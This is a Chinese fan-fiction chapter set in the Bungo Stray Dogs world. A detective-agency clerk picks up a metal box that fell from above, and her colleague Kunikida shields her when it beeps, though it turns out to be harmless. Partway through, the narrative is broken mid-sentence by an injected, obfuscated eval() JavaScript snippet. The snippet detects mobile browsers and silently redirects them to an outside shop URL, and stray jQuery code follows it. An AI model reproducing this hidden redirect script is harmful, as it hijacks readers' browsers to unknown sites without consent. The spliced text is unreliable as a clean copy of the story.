横滨的早晨总是这样,在海风的吹拂下,似乎一切都显得井然有序。
但彼方千绪知道,这种“有序”对于她来说,通常都是一种薛定谔的表象。
离开面包坊后,她加快了脚步。那家店距离武装侦探社所在的红砖大楼只有几分钟的距离,只要稍微走快一点,绝对能在上班之前稳稳地按在打卡机上。
手中的红豆面包依然散发着微热的香气,虽然没有那个草莓丹麦酥看起来诱人,但对于一个只是为了填饱肚子的社畜来说,这已经足够了。
千绪一边在心里计算着距离,一边沿着人行道的外侧快步走着。
就在她即将走到侦探社大楼所在的那条街道时,
千绪的头顶上方传来了一阵熟悉的什么东西松动的声音。
没有片刻的犹豫,千绪猛地停下脚步。
“哐当!”
一声沉闷的金属撞击声在她面前的柏油路面上炸开,紧接着,那东西在地上弹跳了一下,发出刺耳的摩擦声。
千绪抬头看了看上方楼层,那里只有几扇紧闭的窗户和老旧的空调外机,完全看不出是谁不小心掉下了这种危险物品。
她低头看去。
砸在地上的是一个巴掌大小的金属小匣子。从它刚才掉落的力度和在地上砸出的白印来看,这东西的重量绝对不轻。
如果刚才她没有躲开,让这玩意儿正中脑门的话,轻则脑震荡,重则今天侦探社的一楼就要拉起封锁线了。
“还真是……毫不懈怠的运气啊。”千绪忍不住小声吐槽了一句。
本着“多一事不如少一事”的原则,千绪本来打算直接绕过去。但那东西刚好落在人行道的正中间,体积虽然不大,但边缘看起来很锋利。
现在正是上班的高峰期,万一哪个低头看手机的倒霉蛋一脚踩上去,恐怕免不了要摔个头破血流。
千绪叹了口气,虽然她自己总是很倒霉,但她并不介意在顺手的情况下,稍微替别人减少一点麻烦。
她弯下腰,小心翼翼地捏住那个金属小匣子的边缘,将它从地上拎了起来。入手的感觉比想象中还要沉重,表面似乎还有一些奇怪的凹槽和纹路,像是什么精密的机械装置的一部分。
“等会儿路上有垃圾桶就顺手扔掉吧。”千绪在心里做出了决定。
毕竟这玩意儿来历不明,说不定沾着什么脏东西,她没有把这个金属小方块放进口袋里,而是用拿红豆面包那只手的手腕勾住装着面包的纸袋,空出另一只手虚虚地捏着那个金属匣子,快步走进了武装侦探社所在的大楼。
一楼咖啡厅的大垃圾桶好像被清洁人员拿去清理了,看来只能扔到自己工位边上的垃圾桶了。
千绪看着手机显示打卡成功,刚准备松一口气,视线里就出现了一个熟悉的身影。
是国木田独步。
“早上好,国木田先生。”千绪走过去打了个招呼。
“早上好,彼方。”国木田即使是在普通人都会有些有气无力地的清晨也精神十足,“距离规定的上班时间还有五分钟。虽然没有迟到,但踩点到达并不符合我所规划的高效工作理念。”
他手上还抱着一小叠文件,显然已经开始了工作模式。
千绪内心陷入沉默,但表面上依然正常回复着:“您说得对。下次我会尽量早点出门的。”
这套应对流程她已经非常熟练了。只要顺着国木田先生的话承认错误,他通常就不会在这个问题上过度纠缠,毕竟他的日程表也不允许他在闲聊上浪费太多时间。
果然,国木田点了点头,似乎对千绪这种虚心接受的态度还算满意。
两人依次走上楼梯过道,国木田的视线落在了千绪手上的红豆面包包装袋。
千绪心里“咯噔”了一下,她太熟悉这个眼神了。那是一个拥有前数学老师背景、现任侦探社“老妈子”属性的男人,在发现不符合他心中“理想”事物时特有的眼神。
“彼方,”国木田的眉头微微皱起,“你今天的早餐,就只有这个便利店或者路边摊买的红豆面包吗?”
“呃……这家店的面包其实味道还不错,里面的红豆沙并不是那种很甜腻的……”千绪试图挣扎一下,但在国木田那的注视下。
“味道好并不是判断食物价值的唯一标准!”国木田的声音提高了八度,他熟练地单手翻开那本写着“理想”的手账本,从口袋里抽出一支钢笔,笔尖在纸上用力地点了点。
“根据营养学专家的建议,一顿合格的早餐应该包含高质量的碳水化合物、丰富的蛋白质以及适量的维生素。而你手里这个红豆面包,除了能提供短暂的糖分刺激和过剩的热量之外,对于维持大脑一上午的高强度运转毫无益处!”
他推了推眼镜,镜片上闪过一道寒光。
“作为武装侦探社的职员,即使你只是负责文书工作,也必须保持绝对的专注力和充沛的体力!这种单一且缺乏营养的饮食习惯,不仅是对自己身体的不负责任,更是对工作效率的潜在破坏!长此以往,你的免疫力会下降,生病的概率会增加百分之三十五,从而导致请假,最终影响到整个侦探社的月度计划和报表……”
千绪站在狭窄的楼梯间里,听着耳边如同连珠炮一般的说教,默默地离着国木田远了一点点,
这种情况只要左耳进右耳出,顺便点点头附和一下就好了。
“……所以,”国木田“啪”地一声合上了手账本,结束了他长达一分钟的健康讲座。他转过头,看着依然保持着乖巧倾听姿态的千绪,严厉的语气中透出了一丝属于前辈的无奈。
“明天的早餐,我会在日程表里为你留出五分钟的购买时间。侦探社楼下隔壁街区的那家定食屋有提供搭配合理的西式和和式早餐,我会将推荐的套餐写下来交给你。”
他顿了顿,目光扫过千绪背在身后的手,突然问道:“嗯?你另一只手上是什么?”
“这个?刚才在快走到大楼的时候,头顶上突然掉下来个东西,差点砸到我。本来想顺手扔掉的,但是咖啡厅的垃圾桶暂时……”千绪有些无奈地将那个暗沉的金属小匣子递到了国木田的视线前方。
原本还打算继续就“不健康早餐与身体损伤的必然联系”展开论述的国木田,突然像是被按下了暂停键。
作为武装侦探社的核心战力之一,国木田独步处理过无数起棘手的案件,其中不乏涉及高科技犯罪和恐怖袭击的恶性事件,对这种金属物件警惕性很高。
这东西散发着一种强烈的、不属于“日常”的危险气息。
“别动。”国木田突然很严肃地说。
千绪被他这突然转变的语气吓了一跳,原本想要收回手的动作硬生生地停在了半空中。
她眨了眨眼睛,看着国木田。
他非常缓慢、非常谨慎地伸出了右手,捏住了那个金属匣子。
“慢慢松手,交给我。”国木田的目光始终锁定在那个金属物件上,仿佛它随时都会变成一只咬人的猛兽。
千绪虽然对异能力或者什么高科技武器一窍不通,但她并不迟钝。
国木田先生这种如临大敌的态度,已经足够说明她手里捏着的这块“废铁”,绝对不是什么能随便扔进可回收垃圾桶的东西。
“哦……好。”千绪咽了口唾沫,缓慢地松开手指,将那个沉重的金属匣子完全交到了国木田的手中。
千绪忍不住又看了一眼那个被国木田稳稳托在掌心的匣子,心里默默地把今天早上的“倒霉指数”重新评估了一番。
果然,能让她产生那种危机感而做出闪避动作的东西,绝不仅仅是因为它“有点重”。
国木田接过匣子后,并没有立刻进行剧烈的翻转或检查。他保持着手臂的平稳,只是稍微转动了一下手腕,用视线快速扫过匣子的每一个表面。
没有倒计时显示屏,没有明显的外露引线,甚至听不到任何机械运转的滴答声。
但这并不能让他感到安心。在如今的横滨地下世界里,各种触发式的感应炸弹或是封印着剧毒气体的高压容器层出不穷。越是安静的东西,往往隐藏着越致命的威胁。
两人安静无声地走到了侦探社办公室的门口。
国木田长长地吐出一口气,紧绷的肩膀稍微放松了些许。
他没有立刻推门而入,而是转过头,看着依然保持着刚才那个有些僵硬姿势的千绪。
“国木田先生……”千绪轻声开口,试图打破这种令人窒息的沉默,“这东西,是不是真的很危险?”
“别说话。”
国木田深吸了一口气,将手账本夹在腋下,空出的左手缓慢地靠近那个匣子,似乎是想要进一步确认它的结构。
“保持距离,跟在我后面。如果发生任何异动,不要管我,立刻往楼梯口跑。明白了吗?”
“明白……”千绪咽了口唾沫,手指下意识地攥紧了装红豆面包的纸袋。
“一会我会让太宰来帮忙看看这个东西,他对这个比较了解,这个东西看起来……”
“滴——”
一声短促的电子蜂鸣音,突然从国木田手中的那个金属匣子内部传了出来。
千绪甚至都没来得及思考那个声音代表着什么,视线中就只剩下一道残影。
“趴下!!!”
没有任何犹豫,也没有哪怕零点一秒的迟疑。这位在日常中总是将“计划”、“理想”和“从容不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568595|203964||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
迫”挂在嘴边的男人,在听到那声“滴”的瞬间,身体的本能完全接管了理智。
他猛地转身,用一种与其高大身躯不太相称的敏捷,将手中那个致命的匣子狠狠地向着走廊尽头那面墙的方向抛了出去。
与此同时,他整个人扑向了身后的千绪。
千绪只觉得眼前一黑,就几乎被国木田整个人掀翻。她甚至连惊呼声都没来得及发出,就稀里糊涂地被国木田保护起来。
“砰!”
两人的身体重重地砸在走廊铺着地毯的木地板上,发出沉闷的撞击声。千绪的后背狠狠地撞在地上,肺里的空气仿佛被瞬间挤干,喉咙里发出一声痛苦的闷哼。
国木田的反应很快很熟练,在倒地的一瞬间他就用双臂护住了千绪的头部和颈部,他准备用自己的身体,为这个无辜的后辈挡下了可能到来的冲击波和破片。
时间仿佛在这一刻停止了,两个人都很紧张。
一秒。
两秒。
三秒。
……
想象中那震耳欲聋的爆炸声并没有响起。
没有火光,没有冲击波,也没有碎裂的玻璃和乱飞的弹片。
走廊里死一般的寂静,只有通风管道里传来的微弱嗡嗡声,以及不远处从侦探社办公区门缝里透出的一丝咖啡的香气。
“那个……”
不知道过了多久,千绪终于艰难地从被挤压的肺部里挤出了一点空气,她的声音闷闷的,从国木田的胸膛下方传出来。
“国木田先生……它好像,没有炸?”
国木田的身体猛地僵硬了一下。
他缓缓地、带着一种难以置信的迟疑抬起头,看向走廊尽头。
那个暗沉银灰色的金属匣子静静地躺在距离承重墙不远的地毯上。它依然保持着那副冰冷而神秘的样子,没有冒烟,没有解体,仿佛刚才那声“滴”只是它在打个嗝。
空气中弥漫着一种令人窒息的尴尬。
那种感觉,就像是你在所有人面前进行了一段长达三分钟的慷慨激昂的遗言演讲,然后发现,炸弹的倒计时停在了00:01。
国木田独步,武装侦探社最注重形象和体面的人,此刻正以一种不太雅观的姿势,将自己的女同事扑倒在办公区的大门外。
“咳……”
国木田触电般地从千绪身上弹了起来,动作之迅速,甚至超过了他刚才扑倒她时的速度。
他有些狼狈地转过身,背对着千绪,用手紧紧地捏了捏鼻梁。他的耳朵根以肉眼可见的速度攀上了一抹可疑的红晕,一向笔挺的西装此刻也沾上了些许地上的灰尘,显得有些凌乱。
“抱歉。”
国木田的声音低得几乎听不见,带着一种极力掩饰的窘迫,“是我……反应过度了。你没受伤吧?”
千绪一边揉着被撞得有些痛的腰,一边从地上爬了起来。她捡起掉在旁边、已经被压扁了一半的红豆面包,无奈地叹了口气。
“我没事,国木田先生。”千绪拍了拍裤子上的灰尘,语气中并没有责怪,反而带着一种劫后余生的庆幸,“刚才那种情况,无论是谁都会那么想的。谢谢您保护我。”
她是真心的。虽然现在这场面尴尬得能让人用脚趾抠出三室一厅,但在那千钧一发之际,国木田先生毫不犹豫地用自己的身体护住她,这种本能的保护,并不是随便什么人都能做到的。
听到千绪这么说,国木田的背稍微挺直了一些,但耳朵上的红晕并没有完全消退。
他轻咳了一声,重新恢复了那副严肃的表情,走过去将那个躺在地上的金属匣子重新捡了起来。
这一次,他没有再把它托在掌心,而是像提着一个随时会爆炸的核手提箱一样,用两根手指捏住它的边缘,远远地提在身体的一侧。
“总之,”国木田深吸了一口气,推了推那副因为刚才的剧烈动作而微微有些歪斜的眼镜,“这东西绝不寻常。我们必须立刻把它带进去鉴定。”
“好的。”千绪乖巧地点了点头,手里捏着那个干瘪的红豆面包,跟在国木田身后。
两人一前一后,走到那扇玻璃双开门前。
国木田刚要伸手推门,门却从里面被人拉开了。
中岛敦手里拿着一块抹布,看样子是主动在做早晨的清洁工作。
他听到动静刚把门拉开,就迎面撞上了站在门口的国木田和千绪。
“啊,国木田先生,彼方小姐,早上好!”
敦那双充满朝气的金色眼睛在两人身上转了一圈。
“呃……”敦敏锐地察觉到了空气中那丝不同寻常的尴尬氛围,他握着抹布的手微微收紧,“发生……什么事了吗?”